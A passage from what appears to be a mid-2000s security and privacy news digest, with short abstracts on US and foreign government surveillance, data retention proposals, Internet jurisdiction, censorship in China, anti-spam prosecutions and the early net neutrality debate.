A bill introduced by Rep. Ed Markey (D-Mass.) would require operators of Web sites to delete information about the site's users unless the site had a "legitimate" need to preserve that data. Information covered by the bill includes names, addresses, phone numbers, e-mail addresses, and other data, and all Web sites would be subject to the legislation, including those operated by individuals and nonprofits. According to Markey, the Eliminate Warehousing of Consumer Internet Data Act of 2006 is intended to address two issues: identity theft and government subpoenas of Internet data from Web sites including Google and Yahoo. Markey said personal information about Internet users "should not be needlessly stored to await compromise by data thieves or fraudsters, or disclosure through judicial fishing expeditions."

[MK note: but see later developments which work towards the exact opposite of this initiative.]

Category 49.1 US government surveillance of citizens

2006-03-07 **USA PATRIOT Act national security civil liberties anti-terrorism homeland security DHS legislation**

EDUPAGE; http://www.wired.com/news/wireservice/0,70362-0.html

U.S.A.P.A.T.R.I.O.T. ACT GETS NEW LIFE

After a filibuster led to additional measures designed to protect civil liberties, the House and Senate have approved a renewal of the U.S.A.P.A.T.R.I.O.T. Act that President Bush is expected to sign before it expires this Friday. In all, the legislation renews 16 provisions of the bill passed in 2001 to help combat terrorism. Since its original passage, however, civil libertarians have criticized the law for sacrificing individuals' rights in the pursuit of information about terrorists. Supporters of the law argue that no evidence has been brought forth indicating that the powers of the legislation have been misused. The bill that is being sent to the president renews the federal authority to obtain usage records through National Security Letters, but the bill includes language that specifically exempts most libraries from the demands of the letters. Another change to the law allows those under investigation to formally challenge the part of the law that prevents them from revealing that they are under investigation.

Category 49.1 *US government surveillance of citizens*

2006-03-15 **US Department of Justice Google lawsuit search data disclosure government privacy concerns**

EDUPAGE; http://www.siliconvalley.com/mld/siliconvalley/14104319.htm

JUDGE GIVES GOVERNMENT SOME OF WHAT IT SOUGHT

The judge hearing the case between the U.S. Department of Justice and Google has indicated he will require the search company to supply the government with a portion of the data it was seeking. Government officials had subpoenaed one million Web addresses and a week's worth of search queries, alarming Google as well as privacy advocates that the government was exerting too much control over data that most presume to be private. During negotiations, however, the government reduced its request to just 50,000 Web addresses and 5,000 searches, a reduction that went a long way toward defusing the standoff. U.S. District Judge James Ware said that given the changed terms of the government's request, he would likely support the subpoena but would make sure individuals' rights are not compromised by data that must be turned over. Observers said that the changed terms of the subpoena mean the case is unlikely to resolve the issue of government access to search records. Orin Kerr, law professor at George Washington University, said, "It...will have very little legal consequence in the long term." Lauren Gelman, associate director of Stanford's Center for Internet and Society, said, "It's something we're going to see come up again and again."

Category 49.1 *US government surveillance of citizens*

2006-03-30 **US Department of Justice DoJ Freedom of Information Act COPA Internet search records**

EDUPAGE;
http://news.yahoo.com/s/ap/20060331/ap_on_hi_te/internet_blocking

JUSTICE DEPARTMENT CASTS A WIDE NET FOR INFORMATION

Subpoenas obtained through the Freedom of Information Act indicate that the U.S. Justice Department is seeking Internet usage data from at least 35 companies in its efforts to defend the 1996 Child Online Protection Act (COPA) against court challenges. One of the subpoenas sparked a legal showdown between the government and Google, which challenged the request for millions of records of Internet searches. In that case, the government significantly scaled back its request, which the judge ruled was allowable. Other companies that received similar subpoenas are Comcast, EarthLink, AT&T, Cox Communications, Verizon Communications, Symantec, and other makers of computer security products. The Supreme Court has ruled twice that COPA is likely unconstitutional, and the government will go to trial in October to defend it. David McGuire, spokesman for the Center for Democracy and Technology, expressed concerns echoed by other critics that the government is seeking large amounts of information to defend a questionable law.

Category 49.1 *US government surveillance of citizens*

2006-04-13 **library wins FBI dispute PATRIOT Act litigation national security letter First Amendment Rights civil liberties homeland security DHS**

EDUPAGE; http://www.nytimes.com/2006/04/13/nyregion/13library.html

LIBRARY GROUP WINS DISPUTE WITH FBI

Following a recent change in terms of the U.S.A.P.A.T.R.I.O.T. Act, federal authorities said they will end their efforts to prevent a library organization from identifying itself as a part of an antiterrorism investigation. Last year, the FBI sent a so-called national security letter to the Library Connection, an organization of 26 libraries in Connecticut, seeking patron records and e-mail messages. As it was originally enacted, the U.S.A.P.A.T.R.I.O.T. Act authorized the letters and forbade recipients from disclosing that they had been sent the letter. The group protested, saying the gag order violated their First Amendment rights, and last September a federal judge agreed. Ironically, it was during those proceedings that the government inadvertently identified the group in question as the Library Connection when attorneys for the government filed court documents with the group's name not redacted. Congress has since revised the U.S.A.P.A.T.R.I.O.T. Act, which now grants the government discretion to allow some recipients of national security letters to identify themselves. Kevin O'Connor, the United States attorney in Connecticut, said that in light of the changed legislation, the government would end its appeal of the decision to allow the Library Connection to come forward.

Category 49.1 *US government surveillance of citizens*

2006-04-14 **legislation ISP tracking data retention privacy issues homeland security DHS anti-terrorism**

EDUPAGE; http://news.zdnet.com/2100-9588_22-6061187.html

LEGISLATORS GET BEHIND ISP TRACKING

A number of government officials, including state and federal legislators, have endorsed the notion of requiring ISPs to keep detailed records of users' activities online. A data retention would force ISPs to collect and store some data that they currently do not capture and to keep other records far longer than they currently do. Officials including Rep. Ed Whitfield (R-Ky.), head of a Congressional subcommittee on oversight and investigations, have said that such a law would aid law enforcement. Michael Chertoff, secretary of homeland security, has also voiced support for such legislation. Critics of the idea have questioned whether storing such records would genuinely benefit law enforcement; raised concerns about who would have access to such records; and noted that it's not clear who would have to pay for such data warehouses.

Category 49.1 *US government surveillance of citizens*

2006-04-29 **privacy legislation law bill proposal Congress Internet Service Providers ISPs log file records retention browsing consumers confidentiality control**

RISKS; CNET news.com http://tinyurl.com/gb663 24 27

PROPOSAL TO FORCE DATA RETENTION BY ISPs

Rep. Diana DeGette (D-CO) has proposed legislation to force Internet Service Providers to store log files with complete records of all Internet activity by their customers until at least one year after closure of their accounts -- or indefinitely for people who continue their subscriptions. The proposed rationale for this extraordinary burden was that "America is the No. 1 global consumer of child pornography, the No. 2 producer. This is a plague we had nearly wiped out in the seventies, and sadly the Internet, an entity that we practically worship for all the great things it has brought to us, is being used to commit a crime against humanity." Declan McCullag, writing for CNET news.com, said, "For their part, Internet providers say they have a long history of helping law enforcement in child porn cases and point out that two federal laws already require them to cooperate. It's also unclear that investigations are really being hindered, according to Kate Dean, director of the U.S. Internet Service Provider Association."

Lauren Weinstein commented in RISKS,

>It was only a few months ago that people were screaming bloody murder about DoJ demanding Search Engine records -- a demand that apparently only Google had the backbone to appropriately resist, noting the sensitivity of the data involved. This controversy triggered calls (including in some legislative quarters) for a law mandating the destruction of much related data after some reasonable, relatively short interval, with appropriate designated exceptions for R&D, business development, and the like.

Now, by waving the red flag of fighting child pornography, seemingly intelligent and usually well-meaning legislators appear ready to create the mother of all big-brother database laws, a treasure trove of personal data that will ultimately be available for every fishing expedition under the sun.

For those persons who trust the government not to abuse such data, I hasten to note that these kinds of infrastructures, once in place, tend to be self-perpetuating, and will be available to *future* governments as well, including administrations who might not be as "benign" as the current one.<

In a later posting, Weinstein added,

>The irony of the situation relating to proposals for required data retention … is that many incredibly bad and dangerous concepts -- like government-mandated data retention of this sort -- will virtually always be linked to laudable ideas (like fighting child abuse) that we all agree are important goals. A cynical view would be to assume that this is done purposely to push "evil" laws using "noble" hooks. This clearly does happen sometimes.

But I believe that in the majority of these cases we're dealing with legislators and others who genuinely believe in their causes, and either don't have the will or background to recognize or understand the horrible collateral damage that their proposals would do.

Casting such persons as being purposefully evil is probably unproductive and unfair. Instead, we need to help them see the "big picture," rather than just the narrow focus of their good intentions.

For after all, the road to hell still does indeed remain paved with good intentions.<

And in RISKS 24.31, Weinstein wrote:

>If Internet users must live in fear that their actions on the Net are subject to retrospective analysis -- not only based on today's criteria but potentially on tomorrow's as well -- the effects on how we view and use the Net will be drastic, with vast unintended negative consequences that strike to the heart of our democracies.

This issue is ultimately more important than network neutrality, Internet governance, or most (if not all) of the other technically-related concerns that we bandy about here in IP or in most other forums, because it strikes to the very core of basic privacy concerns and personal freedoms.

Government-mandated Internet data retention could be the most potent single technological move in recent history toward enabling future tyranny against both individuals and groups.<

Category 49.1 *US government surveillance of citizens*

2006-05-22 **warrantless wiretapping surveillance NSA FISA Foreign Intelligence Surveillance Act TSP Terrorist Surveillance Program**

Wikipedia http://en.wikipedia.org/wiki/NSA_warrantless_surveillance_controversy

NSA WARRANTLESS SURVEILLANCE CONTROVERSY

The NSA warrantless surveillance controversy is a dispute about an eavesdropping and data mining program carried out by the National Security Agency (NSA) that the administration now refers to as the Terrorist Surveillance Program. Under the program, the NSA conducts surveillance on international and domestic phone calls, without Foreign Intelligence Surveillance Act (FISA) court authorization, which the text of FISA defines as a felony. [1] The Bush administration argues that the program is in fact legal on the grounds that FISA is an unconstitutional violation of the President's "inherent powers" and/or that FISA was implicitly overridden by other acts of Congress. Many legal scholars outside of the administration find these arguments unconvincing. In addition to the legality of the program, the controversy extends to questions of the duties of Congress, the press's role in exposing a classified program and the legality of telecommunications companies cooperating with the program.

The presidential authorization creating the Terrorist Surveillance Program is classified and only select members of the Congressional Intelligence committees and leadership were (partially) briefed. The existence of the program was not known to the American public until December 2005, when the New York Times, after learning about the program more than a year earlier, first reported on it.[2]

[Wikipedia]

References used in this introduction:
1. Article 50 United States Code, Section 1809 (In FISA, subchapter 1)
http://caselaw.lp.findlaw.com/casecode/uscodes/50/chapters/36/subchapters/i/sections/section_1809.html
2. NYT's Risen & Lichtblau's December 16, 2005 "Bush Lets U.S. Spy on Callers Without Courts". Retrieved on February 18, 2006.
http://www.commondreams.org/headlines05/1216-01.htm

49.2 Non-US government surveillance of citizens

Category 49.2 *Non-US government surveillance of citizens*

2005-02-07 **Poland spies list online data leakage confidentiality spies informers government surveillance**

NewsScan; http://australianit.news.com.au/articles/0

POLAND'S SPIES EXPOSED ONLINE

A leaked list containing the names of about 240,000 people who allegedly spied for Poland's former communist regime has overtaken sex as the hottest search item on the Net in Poland. "This thing is huge. We have recorded around 100,000 Internet searches a day for the list, which is 10 times the number looking for sex," Piotr Tchorzewski, who works at Poland's biggest Internet portal Onet, told Rzeczpospolita Daily. The list, which contains in alphabetical order the names of alleged agents and collaborators of the communist-era secret service, mixed together with the names of those who were allegedly spied on, has also been put up for auction on the Internet, but its bid price late today -- 2.99 zlotys (about $AU1.25) -- was hardly breaking records. (The Australian 7 Feb 2005)

Category 49.2 *Non-US government surveillance of citizens*

2005-02-23 **Australia pedophiles tracking e-tag surveillance**

NewsScan; http://australianit.news.com.au/articles/0

E-TAGS FOR AUSTRALIAN PEDOPHILES

Dangerous pedophiles could be electronically tagged and subjected to strict curfews after their release from jail under new laws before the Victorian parliament. Under the scheme, child sex offenders considered risks can be put under supervision orders administered by the adult parole board. The supervision conditions can include electronic bracelets allowing the offenders to be tracked, restrictions on where they live, curfews, and restrictions on movements to block their access to children. "We take the view that protecting the community, particularly vulnerable children, has to be our highest priority," Police Minister Tim Holding said. "We think these laws are an effective and appropriate way of protecting Victorians from serious child sex offenders who show a real likelihood of re-offending," he said. (The Australian 23 Feb 2005)

Category 49.2 *Non-US government surveillance of citizens*

2005-08-05 **surveillance mobile cellular phone operators civil liberties audio covert**

RISKS; http://cellphones.engadget.com/entry/1234000563053276/ 24 02

UK CELLPHONE OPERATORS CAN INSTALL SURVEILLANCE SOFTWARE ON HANDSETS

We're always a little wary of that very blurry line between protection of the general public and infringements on basic civil liberties, but it would appear that according to the Financial Times by way of the Guardian, at least one UK cellphone carrier not only has the power (and mandate) to remotely install software over the air to users' handsets that would allow for the kind of monitoring we thought only perverts and paranoiacs had access to: picking up audio from the phone's mic when the device isn't on a call. While don't think the backlash on this one has really gotten underway yet, and though we do hate to rock a cliché, we can't help but be reminded of that classic Benjamin Franklin quote, ``They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." What's worse, a cellphone carrier and The Man are gonna take it from us without our permission on the sly?

[Abstract and comments from Dave Farber]

Category 49.2 *Non-US government surveillance of citizens*

2006-02-02 **wiretapping surveillance illegal government ministers espionage**

RISKS; Wikipedia 24 17
http://en.wikipedia.org/wiki/Greek_telephone_tapping_case_2004-2005

GREEK GOVERNMENT PHONES TAPPED ILLEGALLY

More than 100 mobile phone numbers belonging mostly to members of the Greek government and top-ranking civil servants were found to have been illegally tapped for a period of at least one year. The details of the case were presented at a press conference given by three government ministers on Thursday February 2, 2006. The phones tapped included those of the Prime Minister Costas Caramanlis and members of his family, the Mayor of Athens, Dora Bakoyannis, most phones of the top officers at the Ministry of Defense, the Ministry of Foreign Affairs, and the Ministry of Public Order, members of the ruling party, the Hellenic Navy General Staff, the previous Minister of Defense (at the time a member of the opposition party), one phone of the American Embassy. Moreover, the mobile phones of former National Defence Minister Giannos Papantoniou and businessmen of Arab descent were also at the foresight of the wiretapping ring, as well as of former governemnental officials from the Panhellenic Socialist Movement (PASOK).

Prime minister Costas Caramanlis has known of this surveillance since March 11, 2005, lifting concerns about his reasons of not previously revealing it. Greek medias suspected the United States of having organized the wiretaps, as an anonymous important official quoted by the AFP declared that "it is evident that the wiretaps were organized by foreign intelligence agencies, for security reasons related to the 2004 Olympic Games." Leader of the PASOK socialist opposition George Papandreou said that the Greek governement itself had pointed towards the US as responsible of the wiretaps by giving up the zone of listening range, in which the US embassy was included.

[From Wikipedia, the free encyclopedia]

Category 49.2 *Non-US government surveillance of citizens*

2006-02-09 **Yahoo China censorship aid identify prosecute political crimes journalists local law compliance**

EDUPAGE; http://www.internetnews.com/xSP/article.php/3584191

GROUP SAYS YAHOO AIDED CHINESE AUTHORITIES

For the second time recently, Yahoo has been accused of helping the Chinese government identify and prosecute individuals accused of political crimes. In 2005, Yahoo was criticized for providing information that helped Chinese authorities prosecute journalist Shi Tao, who was convicted of revealing state secrets. Reporters Without Borders said that another case has surfaced in which the ISP provided information to the Chinese government that led to the conviction of Li Zhi. According to the group, Li was found guilty of "inciting subversion" after he posted comments online critical of local officials and was sentenced to eight years in prison. Mary Osaka, a spokesperson from Yahoo, said that at the time the company was unaware of the nature of the investigation. In addition, she reiterated the company's position that it is better for Yahoo to have a presence in the country, "providing services we know benefit China's citizens," even if that requires compliance with local laws that run counter to U.S. beliefs and values.

4A3 Jurisdiction

Category 4A3 Jurisdiction

2005-01-26 **BlackBerry patent Supreme Court US Canada law legal jurisdiction**

NewsScan; http://apnews.excite.com/article/20050126/D87RP7R00.html

WHERE IN THE WORLD IS BLACKBERRY?

The Canadian government has joined the battle of Ontario-based Research in Motion Ltd. (RIM), creators of the BlackBerry, in that firm's decision to defend itself all the way to the U.S. Supreme Court against a patent infringement case brought against it by an Arlington, Virginia, company. RIM claims that since its BlackBerry relay server is based in Canada, U.S. patent laws have no jurisdiction. The Arlington company argues that RIM is using its technology to reap profits in the U.S. and so U.S. patent laws rule. The Court is expected to hear arguments from the two sides in February. (AP 26 Jan 2005)

Category 4A3 Jurisdiction

2005-02-11 **Yahoo France Nazi lawsuit court**

NewsScan; http://www.usatoday.com/tech/news/techpolicy/2005-02-11-yahoo-nazi-stuff_x.htm

NAZI MEMORABILIA DECISION SEEN AS VICTORY FOR FREE SPEECH

The 9th U.S. Circuit Court of Appeals announced it will rehear some arguments in a 5-year-old lawsuit against Yahoo by two French human rights groups that want to ban the sale of Nazi-related items on any Internet site viewable in France. Since French law bars the display or sale of racist material, the groups had won a French court order requiring the company to block Internet surfers in France from auctions selling Nazi memorabilia there, but Yahoo kept such memorabilia on its popular U.S.-based site, yahoo.com. The two-sentence ruling Thursday does not explain how the judges came to their decision but compels both sides to argue their cases again in front of an 11- judge panel. Yahoo attorney Mary Catherine Wirth says, "If American companies have to worry that foreign judgments entered against them might be enforceable, it could end up with companies censoring their Web sites, but Richard Jones, who represented the French organizations, called the decision "meaningless."(AP/USA Today 11 Fe 2005)

4A4 Blocking

Category 4A4 Blocking

2005-06-15 **censorship China content filtering Web blog**

RISKS 23 90

MICROSOFT CENSORING BLOGS IN CHINA

Peter G. Neumann contributed this acerbic little note:

Microsoft is cooperating with China's government to censor MSN's Spaces Chinese-language Web portal. Bloggers are prevented from posting words such words as *democracy*, *human rights*, and *Taiwan independence*. 5 million blogs have been created since the service started on 26 May 2005. China reportedly has 87 million online users.

[Source: AP item by Curt Woodward, 14 Jun 2005, seen in the *San Francisco Chronicle*.]

[I wonder whether this issue of RISKS will be blocked because of those OFFENSIVE words? (And I thought *democracy* and *human rights* were DEFENSIVE words?) PGN]

4A7 Spam

Category 4A7 Spam

2005-01-03 **spam CAN-SPAM review law failure useless legislation authentication**

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A44124-2005Jan3.html

CAN-SPAM LAW GETS MIXED REVIEWS

The Can-Spam Act, signed into law on Dec. 16, 2003, was touted as a major weapon in the arsenal aimed against spam-mongers, but after a year the law has been used against only a few spammers and recent surveys show that Internet users face more spam than ever. In November, a Virginia jury recommended a nine-year jail term for a North Carolina man who earned the dubious distinction of being the first person convicted of felony spamming. (The case had been brought under Virginia's spam law, which is similar to Can-Spam but allows stiffer penalties.) However, despite this minor victory, experts agree that during the past year spam e-mails represent an everincreasing portion of users' e-mail -- up to 75% to 80% now, according to anti-spam firm Postini. The trend has resulted in most major ISPs turning to technology rather than litigation to stem the flow, and each of the four major U.S. e-mail providers is involved in a nationwide effort to develop e-mail "authentication" technology that would make it more difficult for spammers to disguise their messages. "You've got to stop [spam] from getting to the customers' machines," says Dave Baker, VP of law and public policy at Earthlink. "If you're suing a spammer, you're going after them for damage that's already been done. The biggest single element remains technology solutions. None of these companies are relying solely on litigation." (Washington Post 3 Jan 2005)

Category 4A7 Spam

2005-01-20 **state Georgia Slam Spam E-mail Act felony law legislation proposal**

NewsScan; http://www.ajc.com/hp/content/auto/epaper/editions/thursday/metro_14fea5c30687223300a9.html

GEORGIA LEGISLATION WOULD MAKE SPAM A FELONY

Georgia Governor Sonny Perdue has proposed a Slam Spam E-mail Act that would make it a felony to send more than 10,000 misleading e-mails during a 24-hour period, make large sums of money off unsolicited e-mail, or involve juveniles in sending it. Speaking at Earthlink's Atlanta headquarters, Perdue promised, "We're going to clean up spam in Georgia and put our citizens back in control of their online lives." EarthLink chief executive Garry Betty, who hosted Perdue's news conference, said that up to 80 percent of all e-mail is spam. (Atlanta Journal Constitution 20 Jan 2005)

Category 4A7 Spam

2005-02-01 **CAN-SPAM law ineffective e-mail statistics failure spam**

NewsScan; http://www.nytimes.com/2005/02/01/technology/01spam.html?hp&ex=1107320400&en=f7486f68b21cb2cc&ei=5094&partner=homepage

OOPS: 'CAN SPAM ACT' SEEMS TO BE NO-CAN-DO

The Can Spam Act went into effect in January of last year, yet unsolicited commercial e-mail on the Internet is now estimated to account for at least 80% of all e-mail sent -- a figure up from 50-60% percent of all e-mail before the law went into effect. A number of critics of the law had argued that it would make the spam problem worse by effectively giving bulk advertisers permission to send junk e-mail as long as they followed certain rules. Steve Linford, the founder of the UK-based Spamhaus Project, says the law "legalized spamming itself." The law's chief sponsor, Senator Conrad Burns (R- Montana) says the problem isn' t the law but the ineffective enforcement of the law: "As we progress into the next legislative session, I'll be working to make sure the FTC utilizes the tools now in place to enforce the act and effectively stem the tide of this burden." Anne Mitchell of the Institute for Spam and Internet Public Policy comments: "Most people say it's a miserable failure, but I see it as a lawyer would see it. To think that law enforcement agencies can make spam stop right away is silly. There's no such thing as an instant fix in the law." (New York Times 1 Feb 2005)

Category 4A7 Spam

2005-04-04 **Florida state spam lawsuits litigation multimillion dollars Tampa spammers Electronic Mail Communications Act CAN-SPAM**

DHS IAIP Daily; http://news.com.com/Florida+files+multimillion−dollar+spam+s uits/2100−1030_3−5653662.html

FLORIDA FILES MULTIMILLION-DOLLAR SPAM SUITS

The Florida Attorney General's office has filed its first claims under the state's antispam law, charging two men with masterminding a scheme that marketed fraudulent online businesses via e-mail. Florida Attorney General Charlie Crist charged two Tampa residents accused of running an operation that generated over 65,000 deceptive e-mails since 2003, including 48,000 messages sent after the Florida Electronic Mail Communications Act took effect on July 1, 2004. The defendants face up to $24 million in fines. Like the federal Can-Spam Act, the Florida law prohibits the distribution of unsolicited commercial e-mail that contains false or deceptive subject information, or that is sent from invalid e-mail addresses. Under the law, violators face a penalty of up to $500 for every illegal e-mail message they send to Florida residents. "Spam is a pervasive and growing threat to unsuspecting computer users everywhere," Crist said in a statement. "The spam itself is illegal, but it is made even worse when it seeks to rip off Florida consumers. Florida's antispam law was adopted precisely to stop operations such as this one."

Category 4A7 Spam

2005-04-13 **Florida state victory vs. spammers lawsuit injunction Attorney General Charlie Crist antispam law**

DHS IAIP Daily; http://www.computerworld.com/governmenttopics/government/legalissues/story/0,10801,101051,00.html?source=NLT_PM&nid=1010 51

FLORIDA WINS INJUNCTION AGAINST SPAMMERS

The state of Florida won its first victory against spam e-mail when a judge granted an injunction against two men accused of running mass e-mailing operations, the state prosecutor said Tuesday, April 12. Florida Attorney General Charlie Crist said the injunction preventing the men from sending any more deceptive e-mails was part of his department's first prosecution under an antispam law passed by the state legislature last year. The e-mails took recipients to Websites that Crist said were engaged in fraudulent or illegal activities, such as selling pharmaceuticals and cigarettes online or providing a platform for the illegal downloading of copyrighted movies. A national antispam law took effect at the start of 2004 but has done little to curb the flood of spam clogging e-mail in-boxes. Spam is estimated to account for more than 80% of all e-mail traffic, costing businesses billions a year in lost productivity and bandwidth.

Category 4A7 Spam

2006-01-05 **phone records sale Internet pretexting privacy law enforcement criminals**

DHS IAIP Daily; http://www.suntimes.com/output/news/cst−nws−privacy05.html

PHONE RECORDS ARE FOR SALE VIA ONLINE DATA BROKERS

The Chicago Police Department is warning officers their cell phone records are available to anyone -- for a price. Dozens of online services are selling lists of cell phone calls, raising security concerns among law enforcement and privacy experts. Criminals can use such records to expose a government informant who regularly calls a law enforcement official. Some online services might be skirting the law to obtain these phone lists, according to Sen. Charles Schumer (D-NY), who has called for legislation to criminalize phone record theft and use. In some cases, telephone company insiders secretly sell customers' phone-call lists to online brokers, despite strict telephone company rules against such deals, according to Schumer. And some online brokers have used deception to get the lists from the phone companies, he said. According to Schumer, a common method for obtaining cell phone records is "pretexting," involving a data broker pretending to be a phone's owner and duping the phone company into providing the information. "Pretexting for financial data is illegal, but it does not include phone records," Schumer said.

Category 4A7 Spam

2006-01-05 **spammer fine Florida $11.2 billion anti-spam**

EDUPAGE; http://www.wired.com/news/politics/0,69966-0.html

SPAMMER HIT WITH $11.2 BILLION FINE

A court has slapped a Florida spammer with an $11.2 billion fine, setting a new precedent for fines against spammers, though the ruling is unlikely to have much effect on the volume of spam. Internet service provider CIS Internet Services, which provides Internet service to parts of Iowa and Illinois, had sued James McCalla for sending more than 28 million e-mail solicitations that fraudulently used the CIS domain as the return address. In addition to the fine, McCalla is forbidden from accessing the Internet for three years. Robert Kramer III, owner of CIS, welcomed the ruling, calling it the "economic death penalty," though he acknowledged that he does not expect to receive any of the money awarded. John Mozena, co-founder and vice president of the Coalition Against Unsolicited Commercial E-mail, said this and other rulings against spammers have not had a significant effect on the total volume of spam, which he estimated continues to be about two-thirds of all e-mail traffic. What is needed, he argued, rather than current laws, which only forbid deceptive or fraudulent spam, is a prohibition against all spam.

Category 4A7 Spam

2006-01-09 **University of Texas UT White Buffalo Ventures dating Website spam e-mail CAN-SPAM 5th US Circuit Court of Appeals**

EDUPAGE; http://www.wired.com/news/politics/0,69981-0.html

HIGH COURT PASSES ON UT E-MAIL CASE

The U.S. Supreme Court has refused to hear a case involving the University of Texas (UT) and White Buffalo Ventures, which operates a dating Web site focused on UT students. In 2003, UT officials blocked 59,000 e-mails from LonghornSingles.com, saying that they violated the university's antispam policy. According to officials at the school, the overall volume of spam messages was crippling the institution's servers, and the administration had also received complaints specifically about the LonghornSingles.com e-mails. White Buffalo Ventures had ignored a cease-and-desist letter, prompting the university to block all of its messages. White Buffalo took UT to court, said that its messages complied with all provisions of the CAN-SPAM Act, and argued that the federal law should take precedence over any UT policy. In August, the 5th U.S. Circuit Court of Appeals rejected that argument, saying that the university was within its rights to block the e-mails.

Category 4A7 Spam

2006-01-12 **Michigan man guilty plea spamming CAN-SPAM Act Ford Unisys US Army**

EDUPAGE; http://news.com.com/2100-7350_3-6026708.html

GUILTY PLEA EXPECTED FROM MICHIGAN MAN FOR SPAMMING

A Detroit-area man is expected to plead guilty to violations of the CAN-SPAM Act for his part in a spam racket that prosecutors say sent millions of illegal messages over computer systems belonging to Ford, Unisys, the U.S. Army Information Center, and others. Daniel Lin plead guilty to fraud and other charges in the deal and will face up to two years in prison. Prior to the deal, Lin could have been sentenced to 10 years for his part in the spam scheme. Three other men were also charged in the original complaint in April 2004, which were the first such charges under the federal law to limit spam. The men reportedly earned about $100,000 from their spam-related activities.

Category 4A7 Spam

2006-01-18 **spam case judgment guilty anti-spam law**

DHS IAIP Daily;
http://www.cnn.com/2006/TECH/internet/01/18/internet.spam.ap/index.html

SUSPECT IN FEDERAL SPAM CASE PLEADS GUILTY

The main defendant in America's first prosecution under a 2004 federal anti-spam law pleaded guilty Tuesday, January 17, to three felony charges, federal prosecutors said. Daniel J. Lin of West Bloomfield Township, MI, faces nearly five years in prison and a fine of up to $250,000, the U.S. Attorney's Office in Detroit said. Two of the counts are fraud charges involving millions of unsolicited spam e-mails sent to computer users. The other is possession of a firearm by a felon, for guns discovered when authorities raided Lin's suburban Detroit home. He is scheduled to be sentenced May 16 in U.S. District Court in Ann Arbor, MI. Lin and three other West Bloomfield Township men were identified in court documents as being part of the massive illegal spam scheme. Court papers described a complex web of corporate identities, bank accounts and electronic storefronts used to send hundreds of thousands of e-mail sales pitches for fraudulent products. The Federal Trade Commission said angry consumers forwarded to authorities more than 490,000 e-mails from the operation from January 2004 to April 2004 -- more than from any other spam outfit worldwide during the same period.

Category 4A7 Spam

2006-01-24 **CAN-SPAM violator 25 years sentence California man anti-spam litigation**

EDUPAGE; http://www.internetnews.com/security/article.php/3579591

LATEST CAN-SPAM VIOLATOR FACES 25 YEARS

A California man has pleaded guilty to using computer "bots" to surreptitiously take control of 400,000 computers, which were used to distribute adware, spyware, and other unwanted computer code. Jeanson James Ancheta, 20, admitted to earning more than $60,000 from using the illicit system of computers and renting the system to others who used them to launch their own malicious attacks. Ancheta's actions were in violation of the federal CAN-SPAM Act, and they also caused damage to computers at the U.S. Naval Air Warfare Center and the Defense Information Systems Agency. As part of his plea agreement, Ancheta will forfeit $60,000 in cash, a BMW, and computer equipment. He will also pay $15,000 toward damages to federal computers and face a sentence of up to 25 years in prison for his actions.

Category 4A7 Spam

2006-01-26 **spam legal penalties accrue AOL lawsuit CAN-SPAM Act**

EDUPAGE; http://www.wired.com/news/technology/0,70098-0.html

SPAM PENALTIES ACCRUE

A federal judge has issued a summary judgment in favor of AOL in its lawsuit against a man AOL describes as "the poster child for the CAN-SPAM Act." Christopher William Smith was accused of sending billions of e-mail messages in violation of the federal statute. Smith's attorneys withdrew from the case several months after it was filed, and U.S. District Judge Claude Hilton said that Smith "refused to participate in this case, willfully disregarding...discovery obligations and failing to comply with multiple court orders." In light of Smith's behavior, Hilton issued a $5.3 million judgment against Smith, to be paid to AOL, as well as ordering him to pay $287,000 in legal fees for the ISP. Smith is currently in custody in Minnesota, waiting to be tried for criminal drug charges stemming from his operating an online pharmacy.

Category 4A7 Spam

2006-01-27 **Maryland spam law New York e-mail marketer ruling**

DHS IAIP Daily; http://www.siliconvalley.com/mld/siliconvalley/news/editorial/13728469.htm

MARYLAND SPAM LAW CAN BE ENFORCED, JUDGE RULES.

Spam e-mails offering home financing deals or other offers can violate Maryland law, even if they're sent from another state, a state appeals court has ruled. Court of Special Appeals Judge Sally D. Adkins sided with a law student who argued that he could sue a New York e-mail marketer who had sent him advertising messages. The decision, issued Thursday, January 26, overturns a lower court ruling that Maryland's 2002 Commercial Electronic Mail Act was unconstitutional because it sought to regulate commerce outside state borders. Adkins, in a 60-page decision, blasted the marketer's claims that he should not be punished for violating Maryland law because he had no way of knowing whether his e-mails would be opened in Maryland. "This allegation has little more validity than one who contends he is not guilty of homicide when he shoots a rifle into a crowd of people without picking a specific target, and someone dies," the judge wrote. Maryland was one of the first states to try to control junk e-mail through legislation, and its 2002 law predates the 2004 federal CAN-SPAM Act. The federal law superseded most state laws unless they specifically addressed deceptive or fraudulent e-mail, which Maryland's does.

Category 4A7 Spam

2006-04-18 **FTC spam settlements CAN-SPAM Act violations antispam**

EDUPAGE; http://www.internetnews.com/xSP/article.php/3599796

FTC WINS TWO MORE SPAM SETTLEMENTS

The Federal Trade Commission (FTC) has gotten two new settlements in antispam cases. Matthew Olson and Jennifer LeRoy were accused of violating several provisions of the CAN-SPAM Act, including using others' computers to send spam, inserting bogus "From" information and misleading subject lines in e-mails, and failing to provide recipients with an opt-out provision. Olson and LeRoy were charged in connection with an FTC operation targeting spammers who hijack computers to send their spam. Both defendants settled with the FTC and agreed not to send any more spam. As part of their settlement a judgment of $45,000 against the two has been suspended, based on their inability to pay it. The FTC said that if Olson and LeRoy are found to have misrepresented their financial situation, they will be forced to pay the fine.

4A9 Net neutrality

Category 4A9 Net neutrality

2006-03-15 **Internet Net neutrality tiered Google Yahoo big bandwidth opposition**

DHS IAIP Daily;
http://news.com.com/Debate+heats+up+over+Net+neutrality/2100 −1037_3−6049863.html?tag=nl

DEBATE HEATS UP OVER NET NEUTRALITY.

Speculation that the two biggest phone companies in the country, AT&T and Verizon Communications, are planning to create a tiered Internet system that would require big bandwidth users like Google or Yahoo to pay more for their access has become a hot-button issue in the tech industry. Increasingly, it's also an issue on Capitol Hill, where some lawmakers are developing rules to maintain so-called Net neutrality and prevent the emergence of a tiered system. At the Voice over the Net conference at the San Jose Convention Center on Tuesday, March 14, companies on both sides of the bandwidth aisle debated how much Internet regulation is needed. CEOs from network owners AT&T and Verizon Communications have made comments suggesting they plan to create a system where some companies would have to pay more for their data-intensive use of the Net, which, they argue, slows access for regular customers. On the other side of the debate are companies such as Google, eBay and Yahoo, which are against any companies taking on the role of "IP traffic gatekeeper." They support the idea of federal rules that would further restrict network owners from blocking or restricting traffic.

Category 4A9 Net neutrality

2006-04-26 **net neutrality amendment bill killed House Energy Commerce Committee**

EDUPAGE; http://news.zdnet.com/2100-9595_22-6065465.html

